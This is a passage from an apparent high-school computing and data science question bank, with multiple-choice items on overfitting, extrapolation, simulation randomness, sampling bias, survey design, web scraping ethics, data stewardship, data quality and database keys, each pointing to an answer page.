A. `for (int j = 0; j < build_count; j = j + 2)`

B. `for (int j = build_count; j < hours.size[1]; j = j + 1)`

C. `for (int j = build_count - 2; j < build_count; j = j + 1)`

D. `for (int j = 0; j < hours.size[1]; j = j + 1)`

Answer: page 976

0002.a.4.3

A software vendor offers a school district a program that flags students at risk of leaving school. The vendor's brochure states that the program is 99 percent accurate, and a footnote explains that this figure was measured on the same student records used to construct the program. A careful evaluator in the district should conclude that the figure:

A. must be false, because no program could match historical records this closely unless they had been altered.

B. would become trustworthy if repeated runs on those records were to produce the same result each time.

C. shows how closely the program reproduces its own records, and leaves performance on later students unknown.

D. demonstrates that the program is ready for use, because a poor predictor could not reach a figure this high.

Answer: page 976

0002.a.4.4

A regional water agency has built a model of river flow using records from 1990 through 2015. Records for 2016 through 2023 are also available and have not been used. The agency plans to rely on the model when setting reservoir levels for the coming decade. Which step would most strengthen confidence in the model's predictions?

A. comparing its predictions for 2016 through 2023 with the flows actually recorded in those eight years

B. reporting its predictions with additional decimal places so that small differences between years can be seen

C. adding variables until it matches the 1990 through 2015 records exactly, and then reporting that match

D. rerunning it on the 1990 through 2015 records and confirming that each run gives the same results

Answer: page 976

0002.a.4.5

Two analysts each build a model to predict which library books will be requested next month. Both models are built from the same 800 records and then checked on 200 further records. The first model is correct on 95 percent of the 800 records and 70 percent of the 200 records. The second is correct on 82 percent of the 800 and 80 percent of the 200. Which conclusion is best supported?

A. The second is preferable, because the figures for records not used in building best indicate future performance.

B. The first is preferable, because its 95 percent is the highest of the four figures reported for either model.

C. Neither is usable, because any difference between a model's two figures shows that an error occurred during checking.

D. The first is preferable, because the wide gap between its figures shows that it learned more from the 800 records.

Answer: page 976

Extrapolation

0002.a.5.1

A veterinary student fits the function below to weights recorded for puppies of one breed between 2 and 8 months of age. The function matches those records well, and the student then tries it on an older dog.

```
01 function weight_kg(int months)
02   return 1 + 3 * months
03
04 output(weight_kg(6))
05 output(weight_kg(120))
```

Line 05 displays `361`, an impossible weight for a ten-year-old dog of this breed. The most likely reason is that:

A. the growth seen in puppies does not continue past the observed ages, so the function has no support at 120 months.

B. the `int` type loses accuracy on values larger than those used to build the function.

C. the function was overfit because too many puppies were weighed, and weighing fewer puppies would have corrected the value.

D. the value `3` must be incorrect for puppies as well, since an error at 120 months invalidates the function at 6 months.

Answer: page 976

0002.a.5.2

Enrollment at a school has risen steadily for ten years as a new housing development filled, and a straight line fits those ten years very well. A board member uses that line to plan a new building by forecasting enrollment 50 years ahead. The strongest caution to raise about this forecast is that:

A. ten yearly values are too many for a straight line, which suits only a small number of points.

B. a line fitting ten years this well is likely overfit, so it would also be unreliable for next year's enrollment.

C. it reaches far past the observed years, and the conditions producing the rise may not continue.

D. enrollment must be forecast with a chart rather than a formula, since formulas do not suit values measured over time.

Answer: page 977

0002.a.5.3

A utility builds a model of household electricity demand using days on which the high temperature ranged from 15 to 35 degrees Celsius. Within this range, demand rises as temperature rises because of air conditioning. During an unusual cold spell of -10 degrees, the model predicts its lowest demand on record, but actual demand is very high. Which explanation is most plausible?

A. The meters at each home cannot report usage during cold weather, so the recorded demand cannot be trusted.

B. Models lose accuracy gradually after being built, so a model created that same week would have been correct.

C. The cold spell lies outside the temperatures behind the model, and heating creates a different relationship there.

D. The model's records included too many accurate readings from warm days, which caused it to ignore the pattern on cold days.

Answer: page 977

0002.a.5.4

A fitness application predicts race times with a model built from runners who train between 10 and 40 miles per week. Its records include no runner at exactly 23 miles per week. Which user should be most cautious about the prediction?

A. a runner who trains 23.5 miles per week

B. a runner who trains 38 miles per week

C. a runner who trains 12 miles per week

D. a runner who trains 100 miles per week

Answer: page 977

0002.a.5.5

A model of patient response was built from a study in which doses ranged from 10 to 50 milligrams. A clinician uses it to estimate the response at 35 milligrams, a dose that no participant received, and at 120 milligrams. Which comparison of these two estimates is most appropriate?

A. Both estimates are equally reliable, because a model that fits its data well holds at doses beyond the study.

B. Both estimates are equally unreliable, because neither of the two doses was received by a study participant.

C. The 120-milligram estimate is more reliable, because a larger dose produces a response that is easier to measure and to model.

D. The 35-milligram estimate falls within the data's range, and the 120-milligram estimate is less reliable because it does not.

Answer: page 977

Randomness in simulations

0002.a.6.1

A student simulates the lunch line at a school cafeteria, using random arrival times for students. The program is run once, it gives an average wait of 8 minutes, and the student reports to the principal that the wait will be 8 minutes. The principal plans to adjust the lunch schedule based on this report. Which change would make the report most defensible?

A. running the simulation once more and reporting the second figure as a corrected result

B. running the simulation many times and reporting the range of average waits that results

C. removing the randomness from arrival times so that the program gives one certain value to report

D. reporting the 8-minute figure with additional decimal places to show how exact the estimate is

Answer: page 977

0002.a.6.2

A student writes the following program to explore how long a line grows at a service desk. Instead of a library's random function, the program uses its own generator, `next_value()`, to decide whether new customers arrive at each moment.

```
01 function next_value(int current)
02   return (current * 7 + 3) % 31
03
04 function longest_line(int seed, int moments)
05   int value = seed
```

```
06   int waiting = 0
07   int longest = 0
08   for (int m = 1; m <= moments; m = m + 1)
09     value = next_value(value)
10     if (value % 3 == 0)
11       waiting = waiting + 2
12     elseif (waiting > 0)
13       waiting = waiting - 1
14     if (waiting > longest)
15       longest = waiting
16   return longest
17
18 output(longest_line(5, 12))
19 output(longest_line(5, 12))
20 output(longest_line(3, 12))
21 output(longest_line(4, 12))
```

Lines 18 and 19 always display the same value, while lines 20 and 21 display other values. Which statement best explains this behavior?

A. Each value is calculated from the one before it, so one starting value always leads to one sequence of events.

B. The events in the loop depend on the argument `moments` alone, and a change in `seed` is never what alters the output.

C. The two identical calls drew the same random values by chance, and a later execution would likely show a difference.

D. The computer stored the result of the first call and displayed it again in place of a second call.

Answer: page 977

0002.a.6.3

Two students run the same simulation of illness spreading through a town. The program chooses contacts between people at random, and the two students use the same settings. The first student's run shows a peak of 310 cases, and the second's shows a peak of 365. They ask their teacher which run is correct. The most appropriate explanation is that:

A. neither run alone is the answer, since each reflects one set of random values and many runs together describe a range.

B. their computers have different processors, which perform the arithmetic differently and so report different numbers of cases.

C. one of the two copies must contain an error, since one program with one set of settings gives a single result.

D. results varying in this way provide no usable information, so the program should not be used to study illness.

Answer: page 977

0002.a.6.4

While tracking down a bug, a researcher fixes the random seed of a wildlife simulation so that every run gives identical results. After the bug is repaired, the researcher keeps the seed fixed and states that the identical results show that the forecast is now free of uncertainty. Which statement best evaluates this claim?

A. The fixed seed made runs reproducible, which served the debugging, but the forecast reflects only one sequence of random values.

B. The claim is sound, because a fixed seed replaces the program's pseudorandom numbers with truly random numbers.

C. The claim is unsound, because a fixed seed gives repeatable results only on the computer where it was chosen.

D. The claim is sound, because identical results can occur only when a simulation accurately describes the real system that it represents.

Answer: page 977

0002.a.6.5

A simulation of a proposed footbridge is run 10,000 times with randomly varied loads, and 200 of the runs end with the bridge failing. Which interpretation is most appropriate?

A. The model must be incorrect, since the real bridge has one outcome and does not both fail and stand.

B. Under the model's assumptions, about 2 percent of the simulated loading conditions led to failure.

C. The bridge is safe to build, since 2 percent is small enough that no real failure can be expected.

D. The bridge will fail on exactly 2 of 100 occasions when pedestrians use it after construction.

Answer: page 977

0002.b Data collection

Read about this in the content summary: 0002.b, page 50.

Data collection protocol

0002.b.1.1

A student team collects opinions about the cafeteria through a shared link. Weeks later, the team finds that some members have saved responses on personal laptops, one member has given the responses to a club, and no one can say what the responses were originally meant to support. Which missing element would have most directly prevented these problems?

A. a chart of responses by week, so that the team could see from the start how its data were accumulating over time

B. a larger group of respondents, so that one member's handling of the responses would have less effect on the final results

C. a written agreement, made before collection, on how responses would be stored, who would receive them, and why they were gathered

D. a faster form on a more reliable server, so that responses would reach the team members at the same moment

Answer: page 977

0002.b.1.2

A research team is preparing to gather data from local middle schools. Which question should the team answer in its plan before the first response is gathered, rather than during its later analysis?

A. Who will have access to the responses once they have been gathered?

B. How strongly are the two main survey variables correlated with each other?

C. What is the average value of the responses in the final dataset?

D. Which chart type best displays the trend across the final responses?

Answer: page 977

0002.b.1.3

Two science teachers ask their classes to measure stream temperature at different sites as part of a shared project. One class records in Celsius at noon each day. The other records in Fahrenheit at whatever time is convenient. When the data are combined, the teachers cannot compare the two sites reliably. Which step would have best prevented this outcome?

A. agreeing before collection on the units and the times of day to be used at all of the sites

B. discarding the readings from the site whose values differ most from those at the other site

C. entering the readings into a shared spreadsheet rather than a paper form at each of the sites

D. publishing the combined readings online so that outside readers can identify any problems in them

Answer: page 977

0002.b.1.4

A district begins recording the websites that students visit on school devices and tells families that this is done for student safety. Two years later, the district starts using the same records to evaluate how teachers manage class time. Families and teachers object, although no records have been lost or exposed. Which aspect of data collection is most clearly at issue?

A. The records are captured too infrequently to represent how teachers use class time on a typical day.

B. The records cover so many students that the evaluations cannot be completed in a reasonable time.

C. The records are being used for a purpose other than the one that those affected were told about.

D. The records are stored in a file format that was chosen before the teacher evaluations were designed.

Answer: page 977

0002.b.1.5

A researcher plans a survey of teachers about classroom technology and hopes that a colleague in another state will be able to repeat the study. The most important document for the researcher to prepare before collection is one that records:

A. the researcher's own opinions about classroom technology, so that the colleague can adopt the same perspective on them.

B. the exact questions, the recruitment steps, the storage arrangements, and the intended uses of all responses.

C. the summary statistics that the researcher expects the survey to produce, so that the colleague can match them.

D. the finished conclusions of the study, written in advance so that the colleague can reach an identical result.

Answer: page 977

Sampling bias

0002.b.2.1

To learn whether students at a large high school want a later start time, a student polls every member of the jazz band, which rehearses before the first bell each morning. All 40 members respond, and 90 percent prefer the current schedule. The student's claim that most students at the school prefer the current schedule is weak mainly because:

A. a poll conducted electronically would have produced a different answer, whichever students were asked.

B. students who already arrive early by choice may differ from the rest of the school on this very question.

C. 40 responses are too many to analyze by hand, so errors are likely in the reported figure of 90 percent.

D. a poll about school schedules is valid only after a school administrator has approved its wording.

Answer: page 978

0002.b.2.2

A town posts a survey about library hours on its website for two weeks. Older residents, who are the library's most frequent patrons, rarely visit the town's website, and few of them respond. To make the results more representative of library patrons, the town should:

A. also collect responses at the library's front desk and through other channels that older residents use.

B. add more questions to the existing survey, which will gather more information from each person who responds.

C. keep the survey on the website for an additional two weeks, which will provide more time for responses.

D. discard the few responses from older residents, which would otherwise be too small a group to analyze.

Answer: page 978

0002.b.2.3

A review site reports that 90 percent of the reviews for a certain laptop give either five stars or one star. A student concludes that owners of the laptop hold unusually extreme opinions about it. Which alternative explanation should the student consider first?

A. The site's database stores ratings of five stars and one star more efficiently than it stores the others.

B. The laptop's owners are a small group, so their opinions are expected to be more alike than those of a larger group.

C. The stars are displayed in a color that makes intermediate ratings hard for readers of the site to see.

D. Owners with strong feelings are more likely than other owners to choose to write a review.

Answer: page 978

0002.b.2.4

A health application reports that its users average 9,000 steps a day, up from 7,000 five years ago, and a news article concludes that people in the country are becoming more active. The strongest criticism of this conclusion is that:

A. the increase would be clearer if the two averages had been reported in miles rather than in steps.

B. step counts are stored as whole numbers, so the reported averages are not accurate to the nearest step.

C. data from different users' accounts is difficult to combine, so an average across the accounts is not meaningful.

D. people who use a step-counting application may be more active than the country's population as a whole.

Answer: page 978

0002.b.2.5

A website asks visitors whether their town should build a new stadium. More than 40,000 people respond, and 80 percent are in favor. A columnist argues that a response this large must reflect the views of the town, whose population is 60,000. Which reply best addresses the columnist's argument?

A. A sample of 40,000 is too large to be analyzed reliably, and a smaller sample of 500 respondents would have been more accurate.

B. A population of 60,000 is too small for a survey to be useful, whichever residents happen to respond to the website.

C. A very large sample can still misrepresent a population if those who choose to respond differ from those who do not.

D. An 80 percent result cannot be accurate, because surveys that are conducted fairly tend to produce results close to an even split.

Answer: page 978

Sensors and sampling rate

0002.b.3.1

A school keeps vaccines for a clinic in a freezer that should remain below -15 degrees. A sensor records the temperature each minute, and the following program reports the warmest value. The door was left open for three minutes during the period below.

```
01 int[] readings = [-18, -18, -17, -18, -18, -17, -9, -2, -8, -17, -18, -18, -18, -17, -18,
↪  -18]
02 int interval = 5
03 int warmest = readings[0]
04
05 for (int m = 0; m < readings.size[1]; m = m + interval)
06   if (readings[m] > warmest)
07     warmest = readings[m]
08
09 output(warmest)
```

The program displays `-17`, so the event goes unreported. Which statement best explains this result?

A. The `int` type stores temperatures too coarsely, so a sensor reporting more digits per reading would reveal the event.

B. The loop stops before reaching the final reading, and the warmest temperature occurred at the end of the array.

C. Negative values are compared by their distance from zero, so colder readings are treated as the warmer ones.

D. Only every fifth reading is examined, so a brief change can occur entirely between the values that are examined.

Answer: page 978

0002.b.3.2

A greenhouse monitoring project runs the program below to estimate its daily storage needs. Soil moisture in the greenhouse changes noticeably only over several hours, yet the project's storage has filled within weeks.

```
01 int seconds_per_reading = 1
02 int readings_per_day = 86400 / seconds_per_reading
03 int bytes_per_reading = 8
04 output(readings_per_day * bytes_per_reading)
```

Which change best addresses the problem?

A. relocating the sensor to a drier part of the greenhouse, which keeps its readings from changing as often

B. sending each reading over a faster network connection, which clears the sensor's memory more quickly

C. setting `bytes_per_reading` to `16`, which allows each moisture value to be stored with greater precision

D. setting `seconds_per_reading` to `900`, which still records many values during each change in moisture

Answer: page 978

0002.b.3.3

A student investigating how quickly a cup of coffee cools records its temperature once per hour. The coffee is close to room temperature by the second reading, and the rapid change that the student wanted to examine is missing from the data. Which adjustment best addresses the problem?

A. entering each hourly reading into a spreadsheet instead of writing it in a paper notebook

B. using a sensor with a display that shows two additional digits for each hourly reading

C. recording the temperature every minute during the early, fast part of the cooling period

D. recording each hourly reading in Fahrenheit, which yields larger numbers than readings in Celsius

Answer: page 978

0002.b.3.4

A class uses a sensor mounted above a ball to measure how the ball's height changes as it bounces. The sensor takes one reading per second, and the ball completes two bounces each second. If the class plots the height readings over time, the plot will most likely:

A. stop after a few seconds, since a sensor's memory fills more quickly when the object being measured is moving.

B. fail to show the actual pattern of the bounces, since most of each bounce occurs between readings.

C. show each bounce in greater detail than the class needs, since the ball moves more slowly than the sensor reads.

D. show heights in the wrong unit, since a sensor reports speed instead of height when an object is moving.

Answer: page 978

0002.b.3.5

A wearable heart-rate monitor can record one reading per second or one reading per minute, and the faster setting drains the battery several times as quickly. Which use most clearly justifies the faster setting?

A. detecting a brief, irregular heartbeat lasting only a few seconds

B. displaying a weekly summary of resting heart rate in an application

C. comparing a person's monthly trends in heart rate across the seasons

D. reporting a person's average heart rate during a one-hour walk

Answer: page 978

Survey design

0002.b.4.1

A student government circulates a survey that includes the item "Do you agree that our excellent new schedule is better than the confusing old schedule?" The results show that 85 percent of respondents agree, and the student government reports strong support for the new schedule. A faculty adviser questions this report. The main problem with the survey item is that it:

A. requires its responses to be stored as text, which prevents the student government from calculating any percentages.

B. asks about a topic that was not covered by the adviser, which makes the responses unusable by the school.

C. limits respondents to too small a number of characters, which prevents them from explaining their answers fully.

D. describes the two schedules in favorable and unfavorable terms, which steers respondents toward agreement.

Answer: page 978

0002.b.4.2

The following program summarizes the ages entered in a digital survey of high school students, whose ages should be from 13 through 19. Respondents typed some values incorrectly, and the program should set aside any response outside that range. As written, it accepts every response.

```
01 /* Ages entered by the respondents, in order of submission. */
02 int[] responses = [15, 17, 150, 14, 1, 16, 18, 61, 13, 19]
03 int accepted = 0
04 int rejected = 0
05 int total = 0
06
07 for (int r = 0; r < responses.size[1]; r = r + 1)
```

```
08   int age = responses[r]
09   if (age >= 13 OR age <= 19)
10     accepted = accepted + 1
11     total = total + age
12   else
13     rejected = rejected + 1
14
15 output(accepted)
16 output(rejected)
17 output(total / accepted)
```

Which replacement for line 09 gives the intended check?

A. `if (age > 13 AND age < 19)`

B. `if (age >= 13)`

C. `if (age <= 19)`

D. `if (age >= 13 AND age <= 19)`

Answer: page 978

0002.b.4.3

A parent survey asks, "How satisfied are you with the teachers and the bus service?" A parent who is very pleased with the teachers and displeased with the buses cannot answer accurately. Which revision best addresses this problem?

A. moving the question to the end of the survey, after the other items

B. replacing "bus service" with an abbreviation that parents in the district know

C. requiring a written response of at least one paragraph in place of a rating

D. asking about the teachers and the bus service as two separate questions

Answer: page 978

0002.b.4.4

A survey about daily screen time offers respondents the choices "1-2 hours," "2-3 hours," and "more than 3 hours." After the results come in, the analyst cannot say how to classify several written comments, such as "exactly two hours" and "under an hour." Which problem should the survey's designer correct?

A. The choices contain too many numeric characters to be stored together in a database column.

B. The choices are written using too few words to count as complete survey responses.

C. The choices are too long to be displayed in full on the screen of a mobile device.

D. Some answers fit two of the choices at once, and some answers fit none of the choices.

Answer: page 978

0002.b.4.5

A school's digital registration survey asks for each student's grade level in a free-text box. Responses include "10," "10th," "tenth," and "sophomore," and an analyst spends hours reconciling them before any counts can be produced. Which design change would most directly promote accurate, usable data in the next round of registration?

A. replacing the text box with a fixed list of grade levels from which each student selects one

B. adding a second text box that asks each student to enter the grade level a second time

C. displaying the survey on larger screens in the library so that the text box is easier to read

D. instructing students to enter their grade levels using capital letters throughout the text box

Answer: page 979

Web scrapers

0002.b.5.1

A student writes a program that requests thousands of pages from a local newspaper's website, as quickly as the network allows, in order to analyze how headlines have changed over time. The newspaper is a small organization with a modest server. Which addition to the student's plan is most important?

A. choosing longer variable names for the downloaded pages, which makes the program easier for others to read

B. saving each downloaded page in two locations, which protects the project against the loss of its data

C. converting each headline to uppercase letters, which makes later comparisons of the headlines more consistent

D. reviewing the site's stated rules for automated access, and spacing the requests out over a long time

Answer: page 979

0002.b.5.2

A student's program requests the public meeting pages of a town's website each week, locates the dates in each page's text, and writes those dates to a file. Which description best fits this program?

A. a web server, which responds to requests by delivering pages to others

B. a web scraper, which extracts data from pages that it retrieves

C. a web form, which gathers typed entries from visitors to a site

D. a web browser, which displays pages for a person who is reading them

Answer: page 979

0002.b.5.3

A site's `robots.txt` file disallows automated access to its member directory, although each directory page can be viewed by anyone in a browser. A student wants to collect the directory with a program and reasons that doing so is acceptable because the pages are already public. The student's reasoning most clearly overlooks that:

A. `robots.txt` encrypts each page listed in it, so that a program would receive unreadable text.

B. a page viewed in a browser is a private copy, and it differs from the page that a program would receive.

C. member directories are stored in a format that browsers can display and that programs fail to read.

D. the ability to view a page does not mean that the site's owner permits its automated collection.

Answer: page 979

0002.b.5.4

The following program pulls the headline from a news page's source text by position. It has worked for months. Then the site adds a section label to its pages, as in `page2`, although the pages look the same to human visitors.

```
01 function headline(String page)
02   return page.sub(9, page.len - 1)
03
04 String page1 = "headline=Road work ends"
05 String page2 = "section=local;headline=Road work ends"
06 output(headline(page1))
07 output(headline(page2))
```

Line 07 displays `"ocal;headline=Road work ends"`. Which statement best explains the failure?

A. The site has blocked the program, so the text returned for the second page has been altered.

B. The `sub` method has reached the limit of its input, since the longer string is not fully read.

C. The headline's text has been deleted from the site, since it is not found by the function.

D. The extraction depends on where text sits in the page's source, and that structure has changed.

Answer: page 979

0002.b.5.5

A researcher needs bus schedule data from a transit agency. The data can be obtained through a documented application programming interface (API) that the agency provides for developers, or by writing a program to extract the data from the agency's public web pages. Which is the best reason to use the API?

A. It improves the accuracy of the schedule data, since data sent through an API are verified.

B. It frees the researcher from the agency's conditions of use, since an API has no terms of its own.

C. It removes the need for later processing of the data, since an API delivers finished analyses to its users.

D. It provides the data in a supported, structured form that is less likely to break when pages change.

Answer: page 979

Data stewardship

0002.b.6.1

A school agrees to share attendance data with a local university for a study of how bus routes affect absences. The school's records include names, addresses, medical notes, and disciplinary histories. Which step best reflects responsible handling of these records?

A. sending the complete student records, so that the university's researchers can decide which fields are relevant

B. removing identifying details, and sending only the attendance and route fields needed for the study

C. placing the complete records on a shared drive that all staff at both institutions are able to edit

D. keeping a second full copy of the records on a removable drive, so that nothing can be lost

Answer: page 979

0002.b.6.2

A tutoring study at a school ended three years ago, and its final report has been published. Files containing participants' names, test scores, and family contact details remain on a staff drive, because someone may want them eventually. The school's data officer reviews the files. What is the most appropriate step?

A. moving the files to a public archive, since the published report means that the participants' details have become public

B. keeping the files indefinitely, since data that are stored on a staff drive present no risk to the people named in them

C. deleting the files under the school's policy, since they no longer serve a purpose and any retained copy could be exposed

D. printing the files and placing the pages in an office cabinet, since data on paper are not subject to any risk

Answer: page 979

0002.b.6.3

A class project promises respondents that their answers are anonymous. The project's public folder contains two files: the answers, each labeled with a response number, and a sign-up sheet that lists students' names beside those same numbers. The project's teacher reviews the folder. The most serious problem with this arrangement is that:

A. response numbers will not sort correctly when the names on the sign-up sheet are not in alphabetical order.

B. a shared folder that holds two files of different types requires one of them to be converted first.

C. the sign-up sheet allows anyone viewing the folder to connect each set of answers with a named student.

D. the answers will take up too much room in the folder, since they were not compressed before being stored.

Answer: page 979

0002.b.6.4

A school club keeps one dataset that holds members' T-shirt sizes, for ordering club shirts, and notes on members' health conditions, for use during field trips. A club officer asks who should be able to see this information. Which approach is most appropriate?

A. applying stricter limits to the health notes than to the T-shirt sizes, so that only the staff responsible for trips can read them

B. making both kinds of data visible to all members, since they were collected from the same group of people

C. sharing the health notes with all members, since members can better support each other when they are fully informed

D. applying the same rule to both kinds of data, since all information in a dataset must always have identical protection

Answer: page 979

0002.b.6.5

An analyst prepares a dataset of 300 students for public release by replacing each name with a random ID number while keeping birth date, ZIP code, and test scores. A reviewer objects that the students can still be identified. The reviewer's reasoning is most likely that:

A. birth date and ZIP code together may single out individuals, even after the names have been removed from the file.

B. ID numbers can be converted back into names, because each one is calculated from the letters of a name.

C. test scores are unique to each student, and each score is recorded in a statewide table open to the public.

D. names must be kept alongside any identification numbers, because a dataset without names cannot be used in research.

Answer: page 979

Data quality dimensions

0002.b.7.1

A real estate website lists home sale prices that were correct when they were collected five years ago, in a market where prices have since risen sharply. A buyer who uses these prices to decide what to offer on a home today should be most concerned about which aspect of the data?

A. accuracy

B. completeness

C. consistency

D. timeliness

Answer: page 979

0002.b.7.2

A company merges customer records from three branch offices and runs the following program to count customers by state. Every value in the file names the state correctly. The manager, who knows that most customers live in New York, is surprised by the output.

```
01 String[] state = ["NY", "N.Y.", "New York", "NY", "PA", "New York", "NY", "PA", "N.Y."]
02 int ny = 0
03 int pa = 0
04 int other = 0
```

```
05
06 for (int i = 0; i < state.size[1]; i = i + 1)
07   if (state[i] == "NY")
08     ny = ny + 1
09   elseif (state[i] == "PA")
10     pa = pa + 1
11   else
12     other = other + 1
13
14 output(ny)
15 output(pa)
16 output(other)
```

Which aspect of data quality most directly accounts for the output?

A. accuracy, because the four uncounted records name a state where those customers do not live

B. consistency, because the same state is written in several different forms across the records

C. timeliness, because the customer records from each office were collected during different years

D. completeness, because a value is missing from the `state` field in four of the records

Answer: page 979

0002.b.7.3

A state agency publishes a carefully checked attendance file for every school, with current figures. Its records about after-school programs, however, have no entries at all for half of the schools. An analyst wants to compare after-school participation across all schools in the state. The main limitation of the agency's data for this comparison concerns its:

A. timeliness.

B. accuracy.

C. consistency.

D. completeness.

Answer: page 979

0002.b.7.4

A school nurse's file records each student's height. Every record has a value, all values use centimeters, and the file was updated last week. A review finds that a student who is 152 centimeters tall appears as 125 centimeters, and that several similar entries were transposed by the person typing them. Which aspect of data quality is most directly affected?

A. consistency, because these heights are recorded using a different unit from all other heights

B. accuracy, because some recorded values do not match the measurements they represent

C. timeliness, because the error shows that the file must not have been updated recently

D. completeness, because the transposed heights amount to missing values for each student affected

Answer: page 979

0002.b.7.5

A national census file is complete, carefully checked, and recently published. A student wants to use it to learn how attendance changed from week to week at one particular school during the past year. Which conclusion about the file is most appropriate?

A. It does not suit this purpose, whatever its general quality, because it lacks weekly data for that school.

B. It must contain errors, because a file of high quality would be able to answer the student's question.

C. It must suit any purpose, including the student's question, because data of such high quality can answer any question.

D. It will answer the question if it is sorted by school name, because sorting exposes the weekly patterns in a file.

Answer: page 980

0002.c Tools for data

Read about this in the content summary: 0002.c, page 53.

Database tables, records, and fields

0002.c.1.1

A robotics club keeps a database table named `BatteryChecks` to log every voltage test of its competition batteries. The first rows of the table are shown below.

```
check_id | battery | voltage | date
1        | B-04    | 12.6    | 2026-03-02
2        | B-07    | 11.9    | 2026-03-02
3        | B-04    | 12.4    | 2026-03-09
4        | B-02    | 12.7    | 2026-03-09
5        | B-07    | 12.0    | 2026-03-09
```

Which statement correctly describes what the table contains, not counting the line of column names?

A. It contains three records, one for each battery that appears, and each record has four fields.

B. It contains four records, and each record has five fields.

C. It contains six records, and each record has four fields, because the line of column names is one more.

D. It contains five records, and each record has four fields.

Answer: page 980

0002.c.1.2

A clinic collects patient information through an online registration form and stores each patient's submission in a table. After the first month, the clinic decides to ask each new patient for a preferred language. Which change to the table would let the clinic keep this information for every patient?

A. Add a new record named `preferred_language`, so that the language answers have a row of their own.

B. Add a new record for each patient, containing only that patient's preferred language.

C. Add a new table named `preferred_language`, with one table for each language that patients give.

D. Add a new field named `preferred_language`, which is left empty for existing records.

Answer: page 980

0002.c.1.3

A district office tracks its school buses in two tables. The `Buses` table has one record for each bus, and the `Repairs` table has one record for each repair. The shop has just repaired bus 12 for the first time this year, and it later repairs the same bus again for a flat tire. The current contents of the tables are shown below.

```
Buses                          Repairs
bus | seats | garage            repair_id | bus | problem
11  | 48    | North             1         | 11  | brakes
12  | 36    | South             2         | 12  | wipers
```

Which action should the office take to record the flat tire?

A. Add a third record to `Repairs`, with a new `repair_id`, a bus of 12, and the problem of a flat tire.

B. Add a field named `problem2` to the second record of `Repairs`, to hold a second problem for bus 12.

C. Add a third record to `Buses`, with a bus of 12 and the flat tire as a new attribute.

D. Replace the `problem` of the second record in `Repairs` with the flat tire, since bus 12 already has a record there.

Answer: page 980

0002.c.1.4

A database administrator reports that an `Orders` table holds 40,000 records and 8 fields. A teacher asks what these two numbers count. Which statement is correct?

A. There are 40,000 separate orders, and each order is described by 8 attributes.

B. There are 40,000 customers, and each customer is described by 8 orders.

C. There are 40,000 attributes of an order, and 8 separate orders have been placed.

D. There are 40,000 separate tables, and each table is described by 8 columns.

Answer: page 980

0002.c.1.5

A school keeps a `Students` table with one record for each student, and an `Absences` table with one record for each day that a student missed. A new student enrolls and is then marked absent on three different days. Which statement describes the records that the database will hold for this student?

A. One record in `Students` and one record in `Absences`, with the second and third dates in added fields.

B. One record in `Students` and three records in `Absences`.

C. Three records in `Students` and one record in `Absences`, since the student was changed three times.

D. One record in `Students` and one record in `Absences`, with the three dates joined in a single field.

Answer: page 980

Primary and foreign keys

0002.c.2.1

A school uses two related tables, shown below. The `student_id` field in `Absences` is intended to identify which student missed each day.

```
Students                    Absences
student_id | name           absence_id | student_id | date
1041       | Ortiz          1          | 1041       | 2026-02-03
1042       | Pham           2          | 1044       | 2026-02-03
1043       | Okafor         3          | 1041       | 2026-02-10
```

Which statement best identifies a problem in these tables?

A. The second record in `Absences` refers to a `student_id` that matches no record in `Students`.

B. The `student_id` of 1041 appears twice in `Absences`, which a field referring to another table must not allow.

C. The `absence_id` values are numbers, so they cannot serve to identify the records of `Absences`.

D. The `Students` table lacks a field referring to `Absences`, so the two tables are not connected.

Answer: page 980

0002.c.2.2

A public library is designing a `Members` table with the fields `last_name`, `birth_date`, `zip_code`, and `card_number`. The library assigns each new member the next unused card number. Which choice of primary key is most appropriate?

A. `last_name`, because staff usually look up a member by name when the member comes to the desk.

B. `birth_date`, because it is a fixed fact about each member that stays the same after the record is entered.

C. `card_number`, because it identifies exactly one member.

D. `zip_code`, because every member lives at one address and so the value belongs to one member only.

Answer: page 980

0002.c.2.3

A developer must store teams and the players on each team, and each player belongs to exactly one team. The `Teams` table has the primary key `team_id`, and the `Players` table has the primary key `player_id`. Which design correctly links the two tables?

A. Include a `team_name` field in `Players` that is spelled the same way in every record for that team.

B. Include a `team_id` field in `Players` whose value is the `team_id` of the player's team.

C. Include a `player_id` field in `Teams` whose value is the `player_id` of the team's player.

D. Include a second `player_id` field in `Players` so that each record can refer to its own record.

Answer: page 980

0002.c.2.4

A shop keeps `Customers` and `Orders` tables, shown below, where `customer_id` in `Orders` refers to `Customers`.

```
Customers                    Orders
customer_id | name           order_id | customer_id | total
```

```
7           | Lindqvist       31       | 7          | 54.00
8           | Barzani         32       | 7          | 12.50
                              33       | 8          | 20.00
```

An employee deletes the record for customer 7 from `Customers` but leaves `Orders` unchanged. Which result is most likely?

A. Orders 31 and 32 are given the `customer_id` of 8, since that is the nearest remaining record.

B. Orders 31 and 32 refer to a customer who no longer exists, because the record they refer to was deleted.

C. Orders 31 and 32 are renumbered, since `order_id` is derived from the `customer_id` of each order.

D. Orders 31 and 32 remain valid, because a total can be read without the customer who placed the order or that customer's record.

Answer: page 980

0002.c.2.5

A school stores its rooms in a table whose primary key is `room_id`. The table currently holds the records shown below.

```
room_id | name
101     | Lab
102     | Gym
103     | Lab
```

A secretary wants to add one more room. Which new record could be added without breaking the rule for the primary key?

A. A room with `room_id` 103 and the name Lab, since it merely repeats a record that is already present.

B. A room with `room_id` 104 and the name Lab, since only the key value must differ.

C. A room with `room_id` 102 and the name Library, since the different name makes the record distinct.

D. A room with an empty `room_id` and the name Library, since an empty value cannot equal any other value.

Answer: page 980

Table relationships

0002.c.3.1

A music teacher's planning application stores playlists and songs in three tables. A sample of the data is shown below.

```
Playlists            Songs                 PlaylistSongs
playlist_id | title  song_id | title        playlist_id | song_id | position
1           | Warmup 10      | Scale Song   1           | 10      | 1
2           | Recital 11     | Rondo        1           | 11      | 2
                     12      | March        2           | 11      | 1
                                           2           | 12      | 2
```

Which statement best explains the purpose of the `PlaylistSongs` table?

A. It records which songs belong to which playlists, one record per pairing, so that a song such as Rondo can appear on several playlists.

B. It holds a second copy of the song titles for each playlist, so that renaming a song on one playlist leaves the others unchanged.

C. It assigns each playlist the single song that opens it, because every record contains one playlist and one song.

D. It stores the fields of both `Playlists` and `Songs`, so that those two tables could be deleted once the data have been copied into it.

Answer: page 980

0002.c.3.2

A publisher stores its catalog in the two tables shown below. Each record in `Books` has a single `author_id` field, and the publisher requires every book to have exactly one author.

```
Authors                Books
author_id | name       book_id | title         | author_id
21        | Morales    301     | Salt Roads    | 21
22        | Chen       302     | Quiet Harbor  | 22
